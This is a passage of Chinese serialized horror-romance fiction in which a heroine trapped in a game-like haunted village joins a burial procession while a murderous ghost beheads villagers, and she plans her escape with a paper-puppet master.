从那一小条的缝隙里,之芙清晰地看到,几分钟前还静静地躺在棺材里,面容安详宁和,仿佛只是睡着了似的裴钰的身体,已经腐烂得不成样子。 他——或者说,腐烂到这种程度,只能用“它”了。它脸上的肉已经完全腐烂发白,脸上的骨头几乎挂不住那些烂肉,五官也完全消失,看不出原本的样子。 它已经不是裴钰了。甚至不能说它是一个他曾经熟悉的人了。 裴砚凝视着黑暗中那一块烂肉,过了好一会儿,才重重地闭上了眼,表情复杂。 之芙依稀辨别出,他复杂的表情里有不舍、有遗憾、有悲伤和痛苦,还有一些……如释重负。 他嘴唇动了动,像是想说什么,最后却什么也没说,只是挥了挥手。小纸人会意,飞快地跑上前去,把棺材盖住了。 或许,他想要告别的话,早在这具身体被抬入棺椁之前,就已经对着真正的裴钰说过了。 继而他转过头,看向之芙。他就这么看着她,好半天,看到之芙都感觉毛骨悚然时,他又开口了。 他问:“离开这里的话……我们能去哪里?” 第122章 《她看不见》 “如果我变成笨蛋,你会…… “咚!咚咚!” 钉子敲在木板上的声音不断响起。 “咚!” 几个小纸人拿着纸做的锤子和钉子, 一下下地用过长的钉子钉进棺材的四个角,把棺材封死。 虽然是纸做的工具,但小纸人们敲打得一下比一下用力, 显然这些工具并不如看起来那样脆弱,长长的钉子足有之芙的手臂那么长—— “这是镇魂钉。”裴砚看着面露惊讶的她解释, “传说镇魂钉要足九寸, 这样才能镇住死者的灵魂,同时也防止死者尸变,掀开棺材。” 之芙指了指门外, 裴钰离去的方向:“看起来没用。” “……”饶是裴砚也面露无奈, “只是一种传统。更何况,现在的它, 可不是用镇魂钉就能镇住那么简单的事了。” 棺材被彻底钉死, 室内恢复平静, 小纸人们从棺材上跳下来, 回到裴砚的袖子里。小九爬上之芙的肩膀, 贴贴她的脸。 腐臭的气息似有若无地飘散在空气中,昭示着屋内并不如同看起来那样平静。 屋子里只有他们两人,之芙终于可以问出那个她想问很久的问题:“裴砚, 你什么时候来这里的?” 裴砚移开了眼神:“比你早一点。” 之芙真正想问的其实是裴砚为什么要来祠堂?他来祠堂做了什么?他又为什么要让那个男人离开, 还让他带其他人来? 想了想, 之芙决定在这许多问题里, 问出自己最关心的那个:“裴砚,你决定好要跟我一起离开了吗?” 裴砚顿了几秒钟:“是。” 对之芙来说这个问题才是最重要的是, 得到了回答之后别的问题都不重要了。之芙把那些琐碎的问题甩开——反正裴砚来这里,无论做了什么,大概也是为了让她离开吧。之芙想了想又问:“为什么突然又决定好了?是因为裴钰吗?” 裴砚这次才回过头来, 看了她一眼。他思考了几秒钟,似乎在组织措辞,过了一会儿,之芙眼见着他微笑起来——他居然微笑起来,虽然只是勾了勾唇角,露出了一个转瞬即逝的、快得难以分辨其中意味的笑。 他说:“我来这里,是为了再一次检验那个预言,那个关于我命运的预言。我想来看看它,是否因为某个误入的奇怪的人而改变。” 之芙瞪大了眼:裴砚说的这个‘奇怪的人’多半就是指她了。按理来说,她是玩家,应该算是世界之外的人吧?所以……因为她进入了游戏,所以改变了裴砚的命运,似乎也是很常见的剧情? “所以,这个人是我吧?是我改变了你的命运吗?” 裴砚抿着唇,不置可否地微微颔首,也不知是回答前一个问题还是后一个。 这应该点头的动作却牵动他唇角尚未消散的笑意,那总是抿成直线的薄唇此刻微微上翘,露出犬齿的尖角,下眼睑浮起极浅的卧蚕纹路。 他笑起来时眉眼轮廓依旧凌厉,清澈的瞳孔里含着的笑意却仿佛春雪初融时的微风一般吹过人的心,他很少笑,偶尔笑起来时,笑意让他凌厉的五官都显得柔和了不少。 检查过那个传说中的命运之后的裴砚,似乎表现得有些反常。 “哦!!”在意料之中的喜悦之下,之芙却并没有注意到他的反常,她道,“我就知道!” 有点老套的剧情,但之芙很满意!就该是这样嘛,毕竟她是玩家,拿到拯救男主的剧本也再正常不过了。 之芙摸着下巴:所以接下来的剧情就是她和男主一起私奔,奔向新的生活——哼哼又笨又轴的男主裴砚,早点答应她不就好了?等着被从天而降的之芙拯救吧! “……”裴砚怀疑地问,“你笑什么?” “没什么。”之芙揉了揉脸,这才意识到自己在笑。她顿了顿,忍了又忍,终于还是没有忍住,扑到一旁的裴砚身上,伸出罪恶的双手,狠狠揉了一把裴砚的脸颊肉。这样冷酷的人,脸颊肉也是软的。 奇怪的是,裴砚也很配合,居然没有把她的手抓下来,而是有些无奈地任由她随便乱揉自己的脸。 之芙一边揉,一边发出“嘿嘿嘿”的奇怪笑声:“笨蛋裴砚,被我拯救吧!” 裴砚的表情显得更加无奈了:“所以你在笑我?你觉得我是笨蛋?” “哪有!”之芙说,又强调,“笨蛋是——是爱称,爱称!我只是在畅想我们今后的快乐生活!你有没有想去的地方?” 裴砚垂眼思考了一会儿:“没有。我从来没有去过外面的世界,从来没有离开过这片土地。或许你说得对,到了外面,我就会变成什么都不懂的笨蛋了。” 之芙“唔”了一声,就听裴砚放轻声音道:“如果我变成笨蛋,你会丢下我吗?” 之芙简直怀疑是自己听错了,这样示弱的话怎么可能从裴砚这样冷酷的人的嘴里说出来!她“啊”了一声,无意识地停下了手里揉捏裴砚脸颊的动作,没几秒钟,又被裴砚握住手,贴在他的脸上。 抬头,正对上裴砚垂下的眼。 只听他轻轻地问:“如果你抛下我的话,像我这样的人,大概没办法在城市里生活吧。” 他漆黑的瞳孔里折射出房间内柔和的光,像是碎玻璃般闪着星星点点的光。他的表情说不上多难过,只是有种让人看到了不由得心疼的怅然和平静。 之芙感觉自己被他的话一下子击中了。一下子忘记了面前这个一米八的大男人活到这么大,有手有脚怎么会没法在城市里生活。 她有些心软,只感觉面前仿佛站着一只害怕自己被主人抛弃的小土狗,几乎能幻视灰扑扑的小狗穿梭在城市的高楼大厦之间的样子,多可怜。 她用力地搓了一把他的脸颊:“怎么会!我不会干抛弃小狗那种事的!你放心好了!” 裴砚歪着头,闻言满意地勾唇:“那你记着,别忘了自己说的话。” 之芙终于搓够了小狗脑袋:“所以,我们怎么离开这里?” 裴砚肯定已经有了打算。 第123章 《她看不见》 他们愤怒的表情和喷火的…… 裴砚双手捏住了之芙的手指, 垂下眼:“等他们过来,会把它下葬。” “然后呢?”之芙问,她想抽出手指, 但裴砚力气太大了,两人对视了一会儿, 裴砚主动放手了。“他们不会砍我脑袋吧!” 她比划了一下手势, 迟疑,“他们不是先砍脑袋,再下葬吗……就算他们先把——它下葬了, 后面也会把我杀掉吧……” 这不还是逃不掉吗? “特事特办。”裴砚言简意赅地说着, 指尖拂过漆黑的棺木,“等到……” 他的表情看起来有些奇怪, 凌冽的眉眼间掺上肃杀的气息, 之芙疑惑:“等到什么?” “……等棺材下葬, 他们就顾不上这些了。” …… “裴先生!裴先生!” 村民的声音从门外响起。原本粗犷的一口乡音, 此刻却诡异地压成了一道低音, 听起来像八尺壮汉捏着声音装青春女高中生一样滑稽。 门外的人推开门,小心翼翼地看向门里:“裴先生,您喊我们?” “嗯。”裴砚表情很淡, 看向门外。门外站着七八个壮汉, 还有一群表情有些不安的女人。听到裴砚的声音, 为首的男人走进门来:“裴先生, 您喊我们做什么事情?那个……那个男人,他在这里吗?” 后面半句话他说得有些小心翼翼。一边说话的同时, 又一边用视线的余光不断打量着屋里可能出现的“那个人”。在看到地面躺着的两具无头尸体时,脸色骤然难看起来。 “他不在。”裴砚说,“我用纸人把他引出去了。” 众人明显松了口气。 “趁着他不在这里, 我有事要交给你们办。”裴砚说着,引着众人的视线看向他身旁的棺材。他轻轻拍了拍棺材,实木发出沉重的回响,仿佛在应和他的话。 “这是裴钰的棺材,他躺在里面。看你们的样子,是都见过他了。虽然现在还不到第七天,但应该做什么,你们都清楚吧?” 男人低头说:“我们知道的!但是……” “但是什么?”裴砚的语气带着不容置疑的冷酷。 “但是……”男人咽下唾沫,努力抑制恐惧带来的颤抖。 他们所处的房间已经变成了血的海洋,墙壁甚至天花板上都溅满了血,而地上铺开一层血做的地毯,已经有些干涸了,脚踩上去只能感受到一种令人作呕的黏腻。 但是……他们很多人,都是第一次见到返回人间的鬼魂。 这片土地处于阴阳交界之处,诡异的事情时常发生,长辈们也常常告诫他们和鬼魂相处时的注意事项,例如绝对不能‘看到他们’。但白先生世代传承,迄今为止很少发生这样的意外——这样的,置人于死地的意外。 事情到底是怎么变成这样的?很多人心里都抱着这样的疑问。他们明明按照惯例做好了一切,但还是……意外还是发生了。 没有人不害怕意外,没有人不害怕死亡。就像现在,他们站在屋子里,心脏砰砰乱跳,呼吸里盈满的血腥味道不断刺激着神经,最原始的反应拼命叫嚣着让他们快逃命。 但裴砚冰冷的眼神扫过他们,仿佛看透了他们内心所想。 “有人想给他们收尸吗?”裴砚瞥了一眼地上的尸体,询问。 他的语气很平和,没什么指责的意思,只是一贯的冷淡。但在场的人,却都愧疚地低下了脑袋,很久很久都没有人说话。 “裴钰已经杀了他们,不会再找上这些尸体了,你们大可以放心。” 其他人松了口气正在面面相觑的时候,裴砚又话锋一转:“但要尽快,别耽误时间。裴钰随时可能回来,要有心理准备……生死自负。” 此话一出,屋内陷入了死一般的寂静。 但这寂静之中,又掺杂着风雨欲来的压迫感,此刻仿佛有一盏吊钟悬在他们的头顶,时间的分秒流逝都具现成滴答滴答的秒针转动的声音,谁也不知道那催命的铃声什么时候会响起。 为首的男人颤巍巍地问:“裴先生,我们……如果不按照规矩来,会怎么样?” “会死。”裴砚说。他云淡风轻,说出的话却掷地有声,堵得在场的所有人都是一哽,而后脸色煞白。 但正是这样,才更让人相信他所说的话。 “如果不下葬,裴钰就会永远留在这里。装作看不到他只是一时伎俩,你们防得住一时,防得了永远吗?他太聪明了,早晚会发现所有人都在骗他,裴钰是什么好糊弄的人么?你们清楚。到时候,只会死得更惨。” “那……那要我们做什么?”男人咬牙问。 “就按照规矩来。没经历过还没见过么?”裴砚的手指有些不耐烦地划过棺椁,仿佛为不断的解释而感到厌烦。但之芙注意到,他的表情紧绷,眼神随时注意着门外,似乎在等待什么。 顿了顿,他面向踹踹不安的人群,补充道:“把它的身体下葬,别的……我会处理。你们做好自己的事就行了。” 这一句承诺一出口,村民们如蒙大赦,互相对视一眼,什么都没有说,便各自分工了。 一部分跟着小纸人一起负责抬棺椁,另一部分人快速地为地上的人收尸,之芙看着一群人为地上的人收殓遗体,想起什么——裴砚的小楼里,也死人了。 当然这句话绝对不能跟村民们说,要是跟他们说这句话,跟说“裴砚一直在包庇我”没什么区别。 虽然现在裴砚要跟她离开这里,当然也不会在意这种事情,但是……之芙看了一眼裴砚,男人脸上的表情还是一如既往的淡定,看起来他一时半会儿不会想要告诉村民真相,他还要演下去——在解决裴钰之前。 之芙悄悄靠近裴砚的身后,戳了戳他:“裴砚。” “嗯?” “……你家也死人了。”之芙说,“要让他们去收尸吗?毕竟也怪渗人的……不收拾没法住啊。” 裴砚哼了一声:“不用刺探我。以后不会去住了,我不是要跟你一起离开吗?” 之芙看他冷淡的表情就手痒得要命,恨不得就这样像是戳泡泡一样戳破他冷淡的假面。 她戳着戳着,忽然感觉到,有几束冰冷的、仇恨的目光落在她的身上。 魅魔对情绪的感知何其敏锐,之芙立刻回头,对上了猝不及防的几人的视线—— 他们愤怒的表情和喷火的眼睛,就像是在说:魔女别玷污他们高贵的白先生! 之芙:…… 之芙又戳了戳他们“高贵的白先生”。哼哼,就戳,就戳! 成功收获来自高贵白先生的一个欲言又止的“羞涩”表情。 第124章 《她看不见》 是裴砚。 村民们干活麻利, 很快就把躺在地上的两具尸体收拾好,用布包着抬出去了。 紧接着就是棺材,没有人说话, 但几个人默契地跟着纸人一起,把棺材抬起来, 往外走。 裴砚忽然招手, 原本坐在棺材上小纸人小九会意,从棺材上跑到他身边,裴砚把它托在掌心, 俯身贴耳, 跟小九说了什么。 之芙站在他们身边,却一句话都没听清楚。她疑惑地想询问裴砚说了什么, 还没开口, 身后忽然有人越过她大声说:“裴先生, 这个女人……” 裴砚冷淡地看过来, 看着之芙的眼神就像是在看一个陌生人。他随意地挥了挥手:“按规矩来。” 规矩?什么规矩?之芙还发懵, 身后的几人却仿佛得到了什么指令,齐声“是!”了一声,随后不约而同地来抓她, 一人从身后抓住她的肩膀, 另一个人反扭住她的手。 之芙正要挣扎, 裴砚悄悄地给了她一个稍安勿躁的眼神, 嘴唇微动,口型是:等等。 “……”之芙冷静下来, 她倒要看看裴砚要做什么。 裴砚对抬着棺材,整装待发的人群微微颔首:“走吧。” 为首的男人顿住,抓着之芙就往外走:“裴先生, 我们先去处理这个女人……” “等等。”裴砚伸手拦住他们,命令言简意赅,“先下葬。” “但是,裴先生……”男人犹豫了一下,“按照规矩,要先杀掉新娘……” “规矩?”裴砚反问,“规矩重要还是人命重要?” “这……” “裴钰随时会回来。等他回来了……在场的有几个人能保证自己不被杀死?现在最重要的不是杀了她,而是把裴钰的身体下葬。” 男人又犹豫了一秒钟,裴砚说得有道理,但是规矩也…… “快一点。”裴砚的催促打断了男人的纠结,他的声音很冷,这样简洁明了命令才最有压迫性,“裴钰马上要回来了。” ——裴钰马上要回来了。这一句话像是悬挂在众人脖颈上的吊绳,不知道什么时候就会突然拉紧,绞死所有人。 “裴先生说的不会错的!”人群中有人说,“再说了,天塌下来还有裴先生顶着,裴先生会解决的,我们怕什么!” “好……好吧,接下来做什么,裴先生您说!”男人瞬间妥协了。 裴砚一抬下巴:“放开她。” 男人放开了之芙,之芙揉着肩膀瞪了几人一眼,又转头,向裴砚投去了一个死亡凝视。 裴砚:“……” 他抿了抿唇,眼神飘忽了一瞬。不过没人发现他的小动作。 他颔首命令道:“去下葬。” “是!” …… 走出大门时,门外已是夕阳西下。璀璨的阳光如血一般铺满了面前的山道,像编剧为他们铺就了一块血色的地毯,欢迎着演员们走向终场舞台。 之芙抬起手遮住眼睛,从手指的缝隙里眯着眼看向远处夕阳。身边的村民警惕地看着她的一举一动,虽然听了裴砚的话不来押着她,但也随时警惕着她逃跑。 之芙耸了耸肩,她当然不至于跟这些游戏里的NPC计较什么,表情闲适地走过他们之中,走在抬着棺材的队伍身边。 “起棺——”为首的女人大声唱喏道。 虽然事出紧急,但村子里关于生死的习俗和传统有许多,对于一辈子遵循这些习俗的村民们来说,这些东西是绝对不可以省略的。 身后有人推了一把之芙,把她推到了队伍的最前方。 裴砚扶住了她,但很快撤开手——他似乎想在村民们面前装作跟她并不熟悉——只低声解释了一句:“家属要站在送葬队伍的最前面。” 好吧。之芙对死者家属这个身份接受良好,毕竟她现在是裴钰名义上的老婆。 没有遗照,没有送葬的唱合队伍,也没有祭品。但村民们从祠堂里找到了几块白布,折断树枝挂了起来。现在他们有灵幡了。 傍晚的长风呼啸而过,吹得灵幡哗啦啦作响。送葬的队伍里死一般寂静,没有哀乐的声音,没有哭声,更没有交谈的声音,只有灵幡被风穿过的声音在山林间不断回响,像是怨灵的哭嚎。 之芙跟随着队伍慢慢前行,忽然她感觉到身后有一只小纸人顺着衣服爬上了她的手臂,又顺着手臂爬上了她的肩膀。 “芙芙。”小纸人压低了声音,趴在她耳朵边喊她。 之芙微微侧头——是小九。 小九借着她头发的遮挡躲在她的肩膀上,声音压低,确保只有之芙能听到她的声音。 “芙芙,别回头。” “……嗯?” “别让其他人看到我。”小九小声地说,“裴砚让我跟着你,有些话他不方便跟你说的,他告诉了我。” 小九左右扭头看了看周围,确认没有人注意到他们,又挨着之芙的耳朵边上,低声说:“芙芙,裴钰马上就要回来了,你不用紧张,跟着其他人,把裴钰的身体下葬就好。” 之芙“唔”了一声。不知道为什么,她其实并没有其他人面对裴钰时那样紧张,裴钰带给她的压迫感也不多,反而让她有种奇怪的熟悉感——她把这一切都归咎于这只是个游戏,玩家当然没必要太害怕游戏里的boss。 “然后呢?”她也小声地问,“裴砚跟你说了什么?” “他让我提醒你,后续要做的事情。” 之芙等了等,但小九说完这句话后却没有再开口了。 之芙追问:“是什么?裴砚要让我做什么?是要让我离开这里的吗?我怎么走,偷偷逃跑?” 如果在下葬的时候裴钰来了,想也想象得到场面会是何等的混乱,如果要逃跑的时候,确实是最好的时机。 但只是“找机会逃跑”这么简单的事情,一句话就能说清楚,裴砚为什么不自己跟她说? 果然,小九笑了一下。她一只手抱住了之芙的一撮头发,另一只手抱住之芙的脸颊,跟她贴贴:“不用逃跑,就算逃跑,他们也会想办法追上你的。芙芙,等会儿你就知道了。” 等会是指……之芙百思不得其解。 但她也没有等多久,祠堂离这个村子的祖坟并不远,一路上所有人都紧绷着神经,直到看到前方墓园的大门遥遥出现时,裴砚忽然低声说:“来了。” 众人瞬间紧绷神经,看地的看地,看天的看天。 只有之芙看向不远处的山路,一只纸人出现在山路的尽头,高大的男人跟在它的身后。 之芙眼尖,看到裴钰伸着手,那只残缺的无名指上挂着一道若隐若现的红线——红线连接在纸人的身上。 他看起来已经完全忘记了怎么操纵纸人,却表现得对纸人很有兴趣,像是猫好奇地挠毛线球似地,在纸人走路的时候不断提起红线,让纸人在空中扑腾一阵,再把纸人放下。 之芙看得认真,忽然,裴砚似有所感地抬起头—— 在他们对上视线的前一秒,身侧的人忽然一把摁下她的脑袋。 “小心点。” 是裴砚。 第125章 《她看不见》 “站起来吧,接下来要做…… “别看他。”裴砚低声道, 很快撤开了手。 之芙抓着这个机会,拉住裴砚的手,也压低了自己的声音:“你要我做什么?” “……”裴砚抿着唇, 试图把自己的手扯出来。但之芙可有得是力气和手段,死死抓住他不让他放开:“瞒着我做什么呀?还能得什么好处不成?” 抬棺的人群只慌乱的一瞬间, 又逐渐恢复了平静, 人们重新抬起棺木,目不斜视地往前。 裴砚被她抓着手,像个被流氓抓着手不放的黄花大闺男, 扯了两次都没有扯开, 只能一边慌乱地看向其他人防止别人注意到他们,一边压低了声音:“你先放开。” 之芙才不上这当:“你先说。” “……” 之芙摇了摇他的手:“要不咱们就像幼儿园小朋友一样手拉手走到目的地好了。” 裴砚抿着唇, 又四处看了看, 确定没有人看到他们之后才低下头。 之芙会意, 也跟着低下头, 煞有介事。 结果, 裴砚压低了声音快速地说了一句:“见机行事。” “……”啊?之大失所望,“就这样?” “……就这样。”裴砚看之芙还是不肯放开他,又补了一句, “‘他’现在失去记忆, 就是个手拿核弹按钮的小孩子, 没人能预料和控制‘他’的行动, 太多计划只能弄巧成拙,只能见机行事。” 顿了几秒钟, 在之芙放下手的时候,他又说:“别着急,再等等, 等到裴钰把水搅浑……” 不远处,脚步声越来越近。 窸窸窣窣。啪嗒啪嗒。 先传入脑海中的,是纸人走路时的声音。裴砚的纸人走路时是无声无息的,但裴钰的纸人,可能是因为太过老旧,白纸已经变得薄而脆,走近时纸张互相摩擦的窸窸窣窣的声音很明显。 紧接着,是裴钰的脚步声,落在之芙的耳朵里堪称是她现在最熟悉的脚步声。 送葬的人群把棺椁围了起来,她和裴砚站在棺材的前方,就相当于也是被人群围了起来。 此刻当然没有人敢说话,就连风吹动灵幡的声音也盖不住裴钰不紧不慢的脚步声。 之芙低着头,眼尖地注意到周围的人的表情都绷得紧紧地,她跟着抬棺的众人一起,缓慢地走向墓园。 一步,两步,三步…… 裴钰手里提溜着那个纸人,不紧不慢地跟在人群的身边。 之芙没有抬头,但她相信不仅是自己,就连其他低下头的人也感受到了——裴钰好奇的目光,正不断地在他们之间来回打转。 之芙不由得开始想象,如果他们这群送葬的队伍按照规矩,手捧着裴钰的遗照……会怎么样? 裴钰会意识到棺材里躺着的尸体正是他的身体吗?他会意识到自己已经死了许久吗? 他会发狂吗?会崩溃吗? 时间不够她进行更多的想象,墓园的大门已然来到了他们的面前,大敞开的没有门的门廊,似乎在欢迎着他们的到来。 队伍最前的人和之芙裴砚最先进入了大门,随后他们停了下来,等待后面的人把棺椁抬进门里,这句话说来轻松,但之芙注意到,在棺椁进门前,抬棺的人和纸人互相交替着抬棺材,空出手的人先是双手合十举过头顶,然后跪下来拜了三拜。 如此交替了三轮,每个人都空出手跪拜。 “这是习俗。”裴砚低声解释,“带着死人进入墓地,要向先祖解释棺材里的人跟他们无关,祈求先祖不要把他们带走。” 之芙看着他们跪拜的动作,若有所思地点点头。 这村子里的古怪习俗,还真多。 最后一人跪拜完毕,众人都不易察觉地松了一口气。毕竟,身旁还有一位大杀器正好整以暇地看着他们,任谁来了都得汗流浃背,幸好他没有发难,众人得以安全地通过这一扇门。 进入门后,跟在棺材后的村民快速地拿起铲子和锄头,找到了裴钰的墓。 裴钰的墓是早就立好的了,石碑已经立了上去,上面盖着一层松软的土,明显是翻动过的。 几个人翻开松软的土,大约十几分钟后,就挖到了一块木板。 “来来来,搭把手!”有人吆喝着,又有人迅速跟上,跳进坑里,把木板上的土刨开,把木板抬上地面。 那个木板上放着一套衣服,整整齐齐地叠好,摆成了一个躺在上面的人的样子。 “衣冠冢。”裴砚又贴心地开口解释,大概知道她这个从外面来的人什么都不懂,“把逝者的衣服放进坟墓里,让孤魂野鬼知晓这里是有名有姓的人安眠的地方,不至于被其他野鬼霸占。” 之芙奇道:“你们这里还有别的鬼?从来没有见到过啊。” 裴砚扯了扯唇角:“那可太多了。没有找到新娘新郎或是家人带他们离开的鬼魂,是去不了阴间的。他们会迷失在大山深处……就像你来到这里的第一天晚上看到的那些。” 之芙瞬间想起,第一天晚上她在山上看到的那些鬼影。 原来这里不是没有鬼……是在裴砚的身边看不到鬼。 村民们把木板抬上来,然后吆喝着把木板抬到棺材的上面,连带着衣服一起盖住棺材。 队伍最前头有人点了一炷香,裴砚看向之芙,示意她跟着自己做。 两人走上前去,在地上抓了一把土,撒在了棺材上面的衣服上。 “这样,是祈求逝者入土为安的意思。”裴砚低声解释,又拉过她的手抓了一把土,“再试一次,要撒到衣服的里——” 身侧忽然出现了一张放大的脸:“你们在说什么?” “……!”视线忽然被一张脸填满,因为靠得太近,他的五官甚至眼球都在视线里扭曲变形,不断放大,尤其是他还在微笑,嘴角的弧度也变成了一条扭曲的线。 他什么时候贴过来的?!之芙下意识想后退,却被裴砚立刻察觉,他一只手捧住了之芙的脸侧,用虎口卡住她不让她转头。 “咚!!”一声沉闷的巨响,之芙意识到身后的棺材落在了地面上——即使她不太懂人类的习俗,也知道棺材在下葬前落地,对于人类来说,是件非常晦气的事情。 但现在估计没有人在意晦气这件事了…… 没有人尖叫,但在剧烈的心跳声中,之芙听到了一声细微的“噗嗤”声。 然后是像是被掐住脖子一样的大鹅发出的“啊……呼……呼……”——是气管被切开的声音,像是漏风的破风箱一样让人毛骨悚然。 血腥味充满鼻腔,紧接着,是再熟悉不过的重物掉在地上的声音——有人的脑袋掉在了地上。 “啊——!!!”尖叫这才姗姗来迟。人群瞬间像是滴入了水的油锅般沸腾起来,有人不管不顾地往外跑,但紧接着又是气管被割开的声音和血腥味。 尖叫、混乱的脚步,破风箱一般呼哧呼哧的声音和脑袋掉在地上的声音混在一起,寂静的墓园像是炸开锅一样。 之芙感到眼前一阵发黑,仿佛目之所及的世界正在不断颠倒。 她深呼吸,嗅到了一抹来自泥土的腥味。 是刚才情急之下,裴砚捧住了她的脸。他的手心里沾满了泥土,粗糙的石头和泥的颗粒硌在她的脸颊上。 他直视着她的眼睛,也在深呼吸。细嫩的脸颊被泥土颗粒按压出轻微的刺痛,不用想,一定已经红了。但在那之外,之芙感受到,他的手指也在颤抖。 “……把土撒在衣服里面。”他把没说完的话补全了。 “哦~”身旁的人又搭话了,仿佛裴砚是在跟他说话似地,“然后呢?” 之芙在他的眼睛里看到自己,他们蹲在一处,挨得很近,在混乱癫狂的背景音里像是两只挤在一起互相取暖的小动物。 ——可是裴钰也蹲在他们的身边。他的姿势很乖,双手放在膝盖上,一边问还一边歪头,像是一只好奇的幼鸟。 但幼鸟可不会有这么恐怖的杀伤力。 裴砚的喉结明显地上下滚动,他没有回答裴钰的话,也像是没有注意到身后的混乱,只在呼吸之前不断吐出灼热的气息:“别着急,再试一次。” 他用另一只手牵起之芙的手,贴着她的手背,抓起一把土,然后扬起—— 落土准确地撒在棺椁上,撒进裴钰的衣服里,发出轻微的声响。 “这样就好了。” 他一句话落定,又伸出手来,拍了拍从之芙脸上落到衣服上的灰尘。 “好了。”他轻轻地呼出一口气,像是终于下定了决心,又像是放下了什么重担,此时此刻,在这混乱的世界,竟然轻轻笑起来。继而他对之芙说,“站起来吧,接下来要做什么,就看你的了。” “……嗯?” 之芙忽然感觉到,一直安静地坐在她肩膀上的小九也跟着站了起来,抱住她的脸颊。 “做什么?”之芙感觉自己还有点懵,不知道裴砚在说什么。 “去救他们。”裴砚说,他眼睛一眨也不眨地注视着她,澄澈的瞳孔里倒映着一个小小的之芙,“也救你自己。” 第126章 《她看不见》 “——要跟我一起走吗?…… 之芙懵懵懂懂地站起身来, 她环顾四周,视线的余光处裴钰还蹲在那里,他仰着头, 逆着光注视着她。 他表情也显得有些懵,眼睛一眨不眨地看着她, 双手放在膝盖上, 一米八的大高个蜷缩成一团,有些长的刘海因为仰头的动作落下来,遮住半边眼睛, 竟显出一些温顺的期待来。 夕阳洒落在他的身上, 把他整个人都照出血一样悲凉而残酷的颜色。 裴砚也看着她,他的表情很复杂, 落进夕阳的瞳孔闪烁着温润的光, 又从瞳孔里折射出斑斓的光点, 在落向她的一刻, 仿佛澄澈透明的眼泪。 ——这种全世界都在等待着你行动的感觉。 小纸人小九抱住她的脸颊, 小声地说:“芙芙,接下来你想做什么?” 之芙看向四周,哭声和尖叫声震得她眼前一阵阵发黑, 浓郁的血腥味盈满鼻腔, 村民们涕泗横流, 狼狈地倒在地上, 似乎每一秒都有人在死去,耳边不断回响着令人牙酸气管被切开的“咔哒”声和脑袋落地的声音。 就在那骨头滚落的声音里, 之芙轻声问:“我能做什么?逃跑吗?” 现在场面太混乱了,没有人会注意到她,她要偷偷溜走似乎也可以。 “当然可以。”小九说。 “这就是裴砚交代你的事情吗?” “也算是吧。”小九说, “他交代了很多事,都是可能会发生的情况,嘱咐我照顾你。”顿了顿,小九又解释说,“他担心场面会太混乱,你不知道该做什么。但我觉得,你应该知道自己想做什么……你应该不是那种等着被拯救的人吧?芙芙?” 之芙轻快地笑了一下:“当然。” 小九说:“要离开的话,先走出墓园,然后顺着山路往下……我只能陪你到山脚,你沿着公路往东边走,十几公里之外就有一座小镇,走进去,然后报警……或者也可以买一张车票,离开这里。” 之芙点点头,然后问:“那裴砚呢?”她嘴上跟小九说着话,转过身,居高临下地看着裴砚。 她询问的是小九,但看着的人是裴砚:“裴砚还跟我一起走吗?” 裴砚没有说话,神情微怔,片刻后对着她笑了一下。 “他会找机会去找你的。”小九说,“等他把村里的事情处理好之后。” 他们隔着不远不近的距离对视,片刻后裴砚对她挥了挥手,手背朝外,手指往外撇,那个动作的意思是“去吧,快走”。 “芙芙,我们走吧。”小九说,“要快一点,万一裴钰把人杀完了,就糟糕了。你要赶在天亮前去到镇子上。” 走吧,走吧。周围的声音不断响起,只要抬起脚就能逃跑这一片炼狱似地土地。 线索,疑惑,不远处的裴砚和只能陪她走一段路的小九,什么都不用管,只要抬起脚往外走,就能把一切谜团和危险都抛在脑后。 逃跑会打出什么样的游戏结局? 裴砚会做回他的白先生,回到他的小楼里。清理小楼里的尸体会花费他一些功夫,但没关系,他有小纸人帮忙,想必不会很麻烦。小楼很快就会恢复一开始的洁净如新,他依然居住在其中,等候一次次升起又降落的夕阳。 小九也会回到裴砚的身边,成为他身边众多小纸人中的一个——经历了这次冒险,或许她不会再害怕裴砚了,闲暇之时,太阳落山的时候,他们或许还能一起聊聊之芙。 之芙问:“如果我离开这里,……会跟着我吗?” “会的。”小九压低了声音说,她们都知道这个【……】是指谁。“如果裴砚没法处理掉他,把他送回阴间。他会找到你的,总有一天。你要装作什么都看不到的样子,谨记这一点,他会离开,也会回来,你永远是他的新娘——从你回答他问题的那一天开始,直到你死亡的那天。” 小九在跟之芙说话的时候,之芙也看着裴砚。从他的角度应该听不到也看不到小九说了什么,但这些话大概是他告诉小九的,因此在说话的时候,裴砚也静静着注视着她。 “裴砚能把他处理掉吗?”之芙依然看着裴砚,问小九。 “不知道。”小九回答得干脆利落,裴砚也没有反驳。“但处理掉裴钰需要一个‘新娘’。等你离开后,裴砚会找到愿意来顶替你的人的——那些村民替其他人自愿够久了,现在也该轮到他们‘自愿当新娘’了。” “但,如果我不想离开呢?”之芙反问。 “留在这里?”小九吃惊地反问,“那你明天就会死的……” 之芙想了想说:“……在这里。” 裴钰在这里,他是个大杀器,也是个烫手山芋。 之芙看向身后,有些反应过来的村民正努力地佯装无视裴钰和身边的残肢断臂、血流成河,三两成对地抬起棺材,现在也顾不上什么砸不砸棺材的人,几个人抬起棺材就往挖出的大坑里扔—— “轰隆”一声沉闷的声响,恐怕棺材里本就腐坏的身体现在都已经被颠碎了。 “真的要快点走了,芙芙!”小九急切地说,踩着她的肩膀不断跺脚催促她,“等到他们把他的身体下葬,腾出手来就会杀掉你的!” 之芙再次看向裴砚,他坐在那里,只是安静地注视着她,仿佛在鼓励她做一切自己想做的。 好吧。之芙深呼吸。 她做过一次这样的事情,所以,再来一次也没什么的吧? 这个游戏的判定很奇怪,其他人只要表现出一分一毫地注意——哪怕只是眼珠转了转,都可能会被裴钰判定为看到他。 只要被判定,下一秒就是人头落地,速度快得可怕,没有例外。 不——其实也不全是没有例外。 之芙在第一次见到裴钰的时候,就对他说过话。但她没有死,好好地活到了现在。 之芙下意识摸了摸自己的脖子,这听起来有点地狱,但仔细一想,也不是不值得一试。 她深深地呼吸了一口气,然后第一次,看向了裴钰。她目视着一切,也把一切收入眼底,坦然地与这位恶灵对视。然后,她伸出了手。 “——要跟我一起走吗?” 她问。 第127章 《她看不见》 “我们三个一起离开这里…… 下一秒迎接她的会是什么?脖子落地吗? 在周遭夸张的吸气声里, 之芙与裴钰对视。 想象中的气管被割断、视角骤然颠倒的画面都没有出现。 裴钰只是看向她,缓慢地歪头。 忽然他的袖口微动,那只眼熟的变成脆黄色的小纸人从袖口跳出来, 落在地上,啪嗒啪嗒地走向她。大概因为白纸变薄, 纸人的每一步都很艰难, 